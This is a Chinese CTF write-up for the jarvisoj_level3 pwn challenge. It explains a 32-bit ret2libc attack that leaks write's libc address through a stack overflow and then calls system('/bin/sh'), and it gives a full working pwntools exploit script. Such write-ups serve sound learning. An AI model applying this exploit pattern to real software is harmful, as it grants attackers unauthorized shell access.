首页 > 其他分享 >jarvisoj_level3

jarvisoj_level3

时间:2023-12-30 23:55:58浏览次数:32  
标签:addr elf 0x4 write p32 level3 io jarvisoj

jarvisoj_level3

image-20231229210336379

  • 函数参数劫持

  • 32位泄露libc

    32位程序的传参是栈的后四位开始,要注意的是,32位下write,putret位置是紧跟函数后面的

    payload1 = b'A'*(0x88+0x4)+p32(elf.plt['write'])+p32(elf.sym['main'])+p32(1)+p32(elf.got['write'])+p32(4)

    这段代码中的p32(elf.sym['main'])就是ret,同时满足填充栈,传入参数

rbp
padding 0x88
leave 0x4
write_plt ret
main_addr ret_l 返回的地址
0x1 arg1
wirte_got arg2
0x4 arg3

payload1

rbp
padding 0x88
leave 0x4
system_addr ret
0xdeadbeef
bin_sh_addr aeg1

payload2

from pwn import *
#context.log_level = 'debug'
io = process('./level3')
#io = gdb.debug('./level3','break main')
elf = ELF('./level3')
Lib = ELF('/lib/i386-linux-gnu/libc.so.6')
payload1 = b'A'*(0x88+0x4)+p32(elf.plt['write'])+p32(elf.sym['main'])+p32(1)+p32(elf.got['write'])+p32(4)
io.sendline(payload1)
io.recvuntil('Input:\n')
write_addr = u32(io.recv(4))
print('write_addr->',hex(write_addr))
baseoffset = write_addr - Lib.sym['write']
sys_addr = baseoffset + Lib.sym['system']
bin_sh_addr = baseoffset + next(Lib.search(b'/bin/sh'))
payload2 = b'A'*(0x88+0x4)+p32(sys_addr)+p32(0xdeadbeef)+p32(bin_sh_addr)
io.sendlineafter(b'Input:\n',payload2)
io.interactive()

标签:addr,elf,0x4,write,p32,level3,io,jarvisoj
From: https://www.cnblogs.com/bamuwe/p/17937079

相关文章

  • BUUCT_PWN8 jarvisoj_level2
    jarvisoj_level2查看保护措施:canary没有,很好。栈可执行,这题也可以在栈上写shellcode。PIE都没开,从IDA看到的地址就是实际加载的地址了。IDA静态分析vulnerable_function里面read读了0x100字节,但是buf只有0x88字节,缓冲区溢出。那么思路很简单ida找'/bin/sh'......
  • 【misc】[HNCTF 2022 Week1]calc_jail_beginner_level3(JAIL) --沙盒逃逸,help函数
    还是先看附件内容这里对字符串长度进行了进一步的限制,长度不能大于7,这里可以输入help(),help函数:help()函数是Python的一个内置函数,用于获取关于模块、函数、类、方法等的帮助信息。当你在交互式命令行中使用help()函数时,它会打开一个交互式帮助系统,让你能够浏览相关主题和......
  • jarvisoj_fm
    jarvisoj_fmBUUCTFpwn考点:格式化字符串漏洞格式化字符串,任意地址写漏洞将x写为4即可getshell,x的地址为0x0804a02c,调试可得输入的内容位于栈偏移11个单位处expfrompwnimport*context(os='linux',arch='i386',log_level='debug')#p=process('./pwn')p=remote(......
  • pwn | jarvisoj_level3_x64
    pwn|jarvisoj_level3_x64x64ret2libcexp:frompwnimport*fromLibcSearcherimport*context.log_level='debug'p_vuln=0x00000000004005E6p_main=0x000000000040061Ap_str=0x00000000004006DC#p=process('./level3_x64')p=......
  • buuctf.pwn.jarvisoj_level2
    这个题目,是缓冲区溢出检测一下Nocanaryfound:可以看出没有栈保护NOPIE:没有地址随机化然后分析题目这一次我在网上看到了不同的解法,但是基本思路是一致的主要看一下这个溢出ssize_tvulnerable_function(){charbuf[136];//[esp+0h][ebp-88h]BYREFsys......
  • [BUUCTF]pwn-jarvisoj_fm
     32位程序,开了NX和Canary,放入ida分析  查看system函数/bin/sh函数,看看可不可以ret2libc  第10行存在格式化字符串漏洞,我们可以利用它随意读写的特性让x=4x_......
  • BUU pwn jarvisoj_level2_x64 64位函数调用栈
    jarvisoj_level2_x64文件是64位ELF文件IDA查看函数vuln,明显栈溢出查看字符串,发现存在'/bin/sh',地址为0x600A90查看函数,发现存在system函数,地址为0x4004c0。注意不能......
  • jarvisoj_guestbook2
    jarvisoj_guestbook2学完最新的几个house系列感觉基础不太好就在学习一下栈堆,程序分析就是一个菜单题,有一个uaf,版本是2.23,而且可以修改got表,就打一个unlink,修改atoi的g......
  • jarvisoj_level2_x64
    jarvisoj_level2_x64定期刷pwn*21.检查仅仅只是个NX罢了2.找漏洞找到入口0x200,很厚道啊找到shell和system函数找到garget来给rdi传参路线仍然是栈溢出3.配......
  • buuoj-[WUSTCTF2020]level3
    1.nowinexe64bit2.打开直接找到main函数是一个base64加密,加密表是:但是解出来是乱码。。然后查了一下(x)谁调用了base64表,发现了这个东西那就是变表了。。写个脚本......